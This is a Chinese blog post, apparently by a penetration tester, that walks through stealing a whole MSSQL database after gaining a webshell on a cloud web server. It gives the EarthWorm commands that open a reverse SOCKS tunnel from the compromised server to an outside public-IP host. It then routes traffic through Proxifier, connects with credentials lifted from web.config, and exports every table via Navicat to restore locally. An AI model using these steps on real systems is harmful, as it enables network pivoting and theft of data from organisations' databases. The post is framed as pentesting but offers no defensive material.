最近有些忙,在51cto上了一个《Web网站安全评估分析及防御》专栏,说实话,针对attack的情况,如何来进行扫描,如何来进行防御,如何发现漏洞,是一件很有意思的事情,做这个事情才有意义和价值,penetest仅仅是为了证明,通过技术手段,可以验证,能够拿到webshell,乃至服务器权限。在前端时间的一个penetest中,由于Web服务器是站库分离,通过webshell来导出数据比较困难(MSSQL数据库),即使导出数据库,数据库在内网数据库服务器上,无法直接下载,通过研究和实战,通过ew代理及Navicat for SQL Server工具,成功获取目标数据库中的数据,没有太多技术含量,文章比较实用,能够解决实际问题。下面是详细过程:

在penetest过程中碰到一些情况,仅仅获取了webshell权限,无法提权(阿里云服务器),而数据库服务器又不在本地,数据库服务器在阿里云上,仅仅授权webshell所在IP的计算机访问,这时候就需要通过架设代理,通过代理连接数据库服务器,并通过Navicat for SQL Server将数据库从远端取回,同时需要在本地进行还原。

设置代理

1.在独立公网IP执行命令

下载ew代理工具,下载地址:http://rootkiter.com/EarthWorm/ ,解压后将对应版本的ew复制到相应文件夹,执行命令:ew -s rcsocks -l 1080 -e 8888,如图1所示,其中8888为独立公网IP地址所开放的8888端口,1080为代理端口。

使用ew代理导出和导入mssql数据_第1张图片
图1在独立公网服务器上开启443代理

2.在被控制服务器上执行命令

将ew.exe复制到被控制服务器上,通过shell执行命令:ew -s rssocks -d 139.1..31 -e 8888,139.1..31为独立IP地址,连接8888端口。

3.设置Proxifier

安装Proxifier程序,安装完毕后,单击“配置文件”-“代理服务器”-“添加”,在地址中填写公网IP地址和对应的端口,如图2所示,协议选择socks版本5,完成后确定设置。

使用ew代理导出和导入mssql数据_第2张图片
图2设置Proxifier代理IP地址

4.测试代理

在视图中单击“代理检查器”,如图3所示,单击“开始测试”,如果代理服务器能够正常连通,则显示绿色,否则显示红色表示代理通道未成功连接。

使用ew代理导出和导入mssql数据_第3张图片
图3测试代理通道建立

设置Navicat for SQL Server

1.设置Navicat for SQL Server连接

安装Navicat for SQL Server,完成后,打开Navicat for SQL Server,在其中新建一个数据库连接,如图4所示,在主机名或IP地址中填写对应的地址,一般选择SQL Server验证,在用户名和密码中输入获取的用户名和密码(数据库用户名和密码一般在连接字符串中,例如web.config)。

使用ew代理导出和导入mssql数据_第4张图片
图4设置Navicat for SQL Server连接

2.连接测试

在Navicat for SQL Server中双击database,如图5所示,打开该数据库服务器中的所有数据库,选中一个数据库打开之dbo。

使用ew代理导出和导入mssql数据_第5张图片
图5测试数据库连接

导出数据库

1.选择和设置数据库导出

选中数据库名称(例如datadb)-dbo,右键单击选择“数据传输”,在常规中会自动出现刚才选中的数据库,默认会选择所有的表、视图、过程和函数,在目标中选择“文件”-选择导出文件的位置和名称,编码选择默认,如图6所示。

使用ew代理导出和导入mssql数据_第6张图片
图6设置数据库导出

2.去掉删除数据库表选项

在高级中需要去掉“创建前删除目标对象”选项框,如果本地存在该数据库,则不用去掉。如图7所示,如果没有去掉,则会在导入数据库是出错,因为需要drop表,数据库本身不存在!其它选项可以根据实际需要进行选择。

使用ew代理导出和导入mssql数据_第7张图片
图7去掉删除表操作

3.导出数据

如图8所示,正确设置数据库导出属性后,开始导出数据库,显示100%数据传输时代表该数据库数据和表全部导出到本地sql文件。

使用ew代理导出和导入mssql数据_第8张图片
图8导出数据库sql文件

导入SQL Server数据库

将导出的SQL文件下载到本地,本地需要搭建SQL Server数据库服务器,其导入过程比较简单,下面介绍其操作流程,详细过程就不赘述了。

1.在本地SQL Server数据库中创建对应的数据库名称
2.设置相同的用户,此处设置导出是数据对应的用户名称和密码,跟导出的sql文件对应的用户和权限,防止出现权限不一致导入数据失败。
3.设置用户的对应权限。在SQL Server中对用户设置可以访问数据库以及数据库角色权限。
4.设置Navicat for SQL Server,用同样的方法在本地建立数据库连接。
5.连接数据库服务器,打开需要导入的数据库到dbo处,选择运行SQL文件,选中导出的sql文件,开始导入数据库。
6.数据库导入成功后,刷新数据库即可在本地使用。

觉得本文不错的朋友,可以移步本人在51cto专栏文章,订阅专栏双重好礼:500g安全类电子资源包&51CTO送书活动
(1)《Web网站安全评估分析及防御》
(2)《sqlmap从入门到精通》